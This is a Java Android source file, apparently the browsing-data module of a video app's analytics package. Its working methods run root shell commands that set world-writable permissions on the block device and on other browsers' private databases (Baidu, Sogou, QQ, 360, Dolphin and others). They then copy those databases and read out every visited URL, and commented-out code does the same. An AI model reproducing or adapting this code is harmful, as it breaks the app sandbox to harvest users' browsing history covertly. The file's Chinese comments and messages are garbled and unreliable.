package tv.pps.bi.proto.biz;
import java.util.ArrayList;
import tv.pps.bi.utils.Utils;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.provider.Browser;
import android.widget.Toast;
public class BrowserService {
// public List<URLActivity> getFirefoxBrowserURL()//��ȡ������ݿ���Ϣ
// {
// String[] cmdStr = new String[1];
// String chmod ="chmod 777 /data/data/org.mozilla.firefox/files/mozilla";
// cmdStr[0] = chmod;
// RootUtils.executeShell(cmdStr);
// FileUtils.refreshFileList("/data/data/org.mozilla.firefox/files/mozilla");
// String filePath = FileUtils.getFilelist().get(0);
// if(filePath!=null)
// {
// Log.i("jiangqq", "�洢���ݿ�ĵ��ļ��е�·��Ϊ��"+filePath);
// //���������ݿ�
// String db_chmod="chmod 777 "+filePath+"/browser.db";
// String db_cat="cat "+filePath+"/browser.db"+" > /data/data/org.mozilla.firefox/pps_browser.db";
// String db_mv="mv /data/data/org.mozilla.firefox/pps_browser.db /data/data/com.pps.bi.activity/databases/pps_browser.db";
// Log.i("jiangqq", "·��Ϊ:"+db_chmod);
// Log.i("jiangqq", "·��Ϊ:"+db_cat);
// Log.i("jiangqq", "·��Ϊ:"+db_mv);
// String[] dbcmd=new String[3];
// dbcmd[0]=db_chmod;
// dbcmd[1]=db_cat;
// dbcmd[2]=db_mv;
// return extracted(dbcmd,"pps_browser.db","history");
// }
// return null;
// }
public ArrayList<String> getAoyouBrowserData(Context context) {// ��ȡ�������������
String thirdpartyDBName = "mxbrowser_default.db";
String thirdpartyDBPath = "/data/data/com.mx.browser/databases/mxbrowser_default.db";
if( getVideoPackageRoot(context, thirdpartyDBName, thirdpartyDBPath)){
String databaseFilename = context.getFilesDir() + "/mxbrowser_default.db";
ArrayList<String> list = new ArrayList<String>();
SQLiteDatabase db = Utils.openDatabase(context, databaseFilename);
Cursor c = db.query("history", null, null, null, null, null, null);
while (c.moveToNext()) {
list.add(c.getString(c.getColumnIndex("url")));
}
return list;
}
else{
return null;
}
}
/**
* ��ȡ�ٶ�������ķ��ʵ���ʷ��¼(BaiDu)
*
* @return ������ʷ��¼�ļ���
*/
// public List<URLActivity> getBaiduBrowserURL(Context context) {
// String chmod = "chmod 777 /data/data/com.baidu.browser.apps/databases/dbbrowser.db";
// String cat_cmd = "cat /data/data/com.baidu.browser.apps/databases/dbbrowser.db > /data/data/com.baidu.browser.apps/databases/pps_dbbrowser.db";
// String mv_cmd = "mv /data/data/com.baidu.browser.apps/databases/pps_dbbrowser.db /data/data/com.pps.bi.activity/databases/pps_dbbrowser.db";
// String[] cmdStr = new String[3];
// cmdStr[0] = chmod;
// cmdStr[1] = cat_cmd;
// cmdStr[2] = mv_cmd;
// return extracted(cmdStr,"pps_dbbrowser.db","history",context);
// }
public ArrayList<String> getBaiduBrowserData(Context context) {// ��ȡ�ٶ����������
String thirdpartyDBName = "dbbrowser.db";
String thirdpartyDBPath = "/data/data/com.baidu.browser.apps/databases/dbbrowser.db";
if( getVideoPackageRoot(context, thirdpartyDBName, thirdpartyDBPath)){
String databaseFilename = context.getFilesDir() + "/dbbrowser.db";
ArrayList<String> list = new ArrayList<String>();
SQLiteDatabase db = Utils.openDatabase(context, databaseFilename);
Cursor c = db.query("history", null, null, null, null, null, null);
while (c.moveToNext()) {
list.add(c.getString(c.getColumnIndex("url")));
}
return list;
}
else{
return null;
}
}
/**
* ��ѯ�ѹ�������ķ��ʼ�¼
* @return
*/
public ArrayList<String> getSoGouBrowserData(Context context) {// ��ȡ�ѹ����������
String thirdpartyDBName = "sogou_mobile_browser.db";
String thirdpartyDBPath = "/data/data/sogou.mobile.explorer/databases/sogou_mobile_browser.db";
if( getVideoPackageRoot(context, thirdpartyDBName, thirdpartyDBPath)){
String databaseFilename = context.getFilesDir() + "/sogou_mobile_browser.db";
ArrayList<String> list = new ArrayList<String>();
SQLiteDatabase db = Utils.openDatabase(context, databaseFilename);
Cursor c = db.query("history", null, null, null, null, null, null);
while (c.moveToNext()) {
list.add(c.getString(c.getColumnIndex("url")));
}
return list;
}
else{
return null;
}
}
// public List<URLActivity> getSoGouBrowserURL(Context context) {
// String chmod = "chmod 777 /data/data/sogou.mobile.explorer/databases/sogou_mobile_browser.db";
// String cmd = "cat /data/data/sogou.mobile.explorer/databases/sogou_mobile_browser.db > /data/data/sogou.mobile.explorer/databases/pps_sogou_mobile_browser.db";
// String mv_Cmd = "mv /data/data/sogou.mobile.explorer/databases/pps_sogou_mobile_browser.db /data/data/com.pps.bi.activity/databases/pps_sogou_mobile_browser.db";
// String[] cmdStr = new String[3];
// cmdStr[0] = chmod;
// cmdStr[1] = cmd;
// cmdStr[2] = mv_Cmd;
// return extracted(cmdStr,"pps_sogou_mobile_browser.db","history",context);
// }
/**
* ��ѯ�������������ʷ���ʼ�¼
* @return
*/
public ArrayList<String> getSkyBrowserData(Context context) {// ��ȡ�������������
String thirdpartyDBName = "HWBrowser.db";
String thirdpartyDBPath = "/data/data/com.tiantianmini.android.browser/databases/HWBrowser.db";
if( getVideoPackageRoot(context, thirdpartyDBName, thirdpartyDBPath)){
String databaseFilename = context.getFilesDir() + "/HWBrowser.db";
ArrayList<String> list = new ArrayList<String>();
SQLiteDatabase db = Utils.openDatabase(context, databaseFilename);
Cursor c = db.query("TB_History", null, null, null, null, null, null);
while (c.moveToNext()) {
list.add(c.getString(c.getColumnIndex("url")));
}
return list;
}
else{
return null;
}
}
// public List<URLActivity> getSkyBrowserURL(Context context)
// {
// String chmod = "chmod 777 /data/data/com.tiantianmini.android.browser/databases/HWBrowser.db";
// String cmd = "cat /data/data/com.tiantianmini.android.browser/databases/HWBrowser.db > /data/data/com.tiantianmini.android.browser/databases/pps_HWBrowser.db";
// String mv_Cmd = "mv /data/data/com.tiantianmini.android.browser/databases/pps_HWBrowser.db /data/data/com.pps.bi.activity/databases/pps_HWBrowser.db";
// String[] cmdStr = new String[3];
// cmdStr[0] = chmod;
// cmdStr[1] = cmd;
// cmdStr[2] = mv_Cmd;
// return extracted(cmdStr,"pps_HWBrowser.db","TB_History",context);
// }
//
// /**
// * ��ѯ������������ʷ���ʼ�¼
// * @return
// */
// public List<URLActivity> getFirefoxBrowserURL()
// {
//
// return null;
// }
// /**
// * ��ȡ��ʷ���ʼ�¼
// * @param cmdStr
// * @return
// */
// private List<URLActivity> extracted(String[] cmdStr,String datebaseName ,String tableName,Context mContext) {
// Utils.executeShell(cmdStr);
// SQLiteDatabase mDatabase = mContext.openOrCreateDatabase(
// datebaseName, 0, null);
// Cursor mCursor = mDatabase.query(tableName, new String[] { "title",
// "url" }, null, null, null, null, null);
// if (mCursor != null && mCursor.getCount() >= 0) {
// List<URLActivity> mUrlActivities = new ArrayList<URLActivity>(
// mCursor.getCount());
// while (mCursor.moveToNext()) {
// URLActivity urlActivity = new URLActivity();
// urlActivity.setTitle(mCursor.getString(mCursor
// .getColumnIndex("title")));
// urlActivity.setUrl(mCursor.getString(mCursor
// .getColumnIndex("url")));
// mUrlActivities.add(urlActivity);
// }
// if (mCursor != null) {
// mCursor.close();
// }
// if (mDatabase != null) {
// mDatabase.close();
// }
// return mUrlActivities;
// }
// return null;
// }
public ArrayList<String> getDolphinData(Context context) {// ��ȡ�������������
String thirdpartyDBName = "browser.db";
String thirdpartyDBPath = "/data/data/com.dolphin.browser.xf/databases/browser.db";
if( getVideoPackageRoot(context, thirdpartyDBName, thirdpartyDBPath)){
String databaseFilename = context.getFilesDir() + "/browser.db";
ArrayList<String> list = new ArrayList<String>();
SQLiteDatabase db = Utils.openDatabase(context, databaseFilename);
Cursor c = db.query("history", null, null, null, null, null, null);
while (c.moveToNext()) {
list.add(c.getString(c.getColumnIndex("url")));
}
return list;
}
else{
return null;
}
}
public ArrayList<String> getQQData(Context context) {// ��ȡQQ���������
String thirdpartyDBName = "database";
String thirdpartyDBPath = "/data/data/com.tencent.mtt/databases/database";
if( getVideoPackageRoot(context, thirdpartyDBName, thirdpartyDBPath)){
String databaseFilename = context.getFilesDir() + "/database";
ArrayList<String> list = new ArrayList<String>();
SQLiteDatabase db = Utils.openDatabase(context, databaseFilename);
Cursor c = db.query("history", null, null, null, null, null, null);
while (c.moveToNext()) {
list.add(c.getString(c.getColumnIndex("URL")));
}
return list;
}
else{
return null;
}
}
public boolean getQihooRoot(Context context) {// ��ȡ360��������ݿ�Ȩ��
String thirdpartyDBName = "browser.db";
String thirdpartyDBPath = "/data/data/com.qihoo.browser/databases/browser.db";
return getVideoPackageRoot(context, thirdpartyDBName, thirdpartyDBPath);
}
public ArrayList<String> getQihooData(Context context) {// ��ȡ360���������
String databaseFilename = context.getFilesDir() + "/browser.db";
ArrayList<String> list = new ArrayList<String>();
SQLiteDatabase db = Utils.openDatabase(context, databaseFilename);
Cursor c = db.query("history", null, null, null, null, null, null);
while (c.moveToNext()) {
list.add(c.getString(c.getColumnIndex("url")));
}
return list;
}
public boolean getVideoPackageRoot(Context context,
String thirdpartyDBName, String thirdpartyDBPath) {
// �����ݿ����Լ����µ�����
String dbname = thirdpartyDBName;
String rootCmd = "chmod 777 /dev/block/mmcblk0";// ����rootȨ��
String fromDB = thirdpartyDBPath;
String toMyDB = context.getFilesDir().toString() + "/" + thirdpartyDBName;
String modifyCmd = "chmod 777 " + fromDB;
String copyCmd = "cat " + fromDB + " > " + toMyDB;
if (Utils.execRootCmd(rootCmd)) {
Toast.makeText(context, "root�ɹ�", 1).show();
if (Utils.execRootCmd(modifyCmd)) {
Toast.makeText(context, "��" + dbname + "��дȨ�ɹ�", 1).show();
if (Utils.execRootCmd(copyCmd))
Toast.makeText(context,
"����" + dbname + "��" + toMyDB + "�ɹ�", 1).show();
else {
Toast.makeText(context,
"����" + dbname + "��" + toMyDB + "ʧ��", 1).show();
return false;
}
} else {
Toast.makeText(context, "��" + dbname + "��дȨ��ʧ��", 1).show();
return false;
}
} else {
Toast.makeText(context, "rootʧ��", 1).show();
return false;
}
return true;
}
public ArrayList<String> getSystemBrowserUrl(Context context) {//��ȡϵͳ�������URL
ContentResolver resolver = context.getContentResolver();
ArrayList<String> list = new ArrayList<String>();
Cursor cursor = null;
try {
cursor = Browser.getAllVisitedUrls(resolver);
while (cursor.moveToNext()) {
list.add(cursor.getString(cursor
.getColumnIndex(Browser.BookmarkColumns.URL)));
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (cursor != null) {
cursor.close();
}
}
return list;
}
}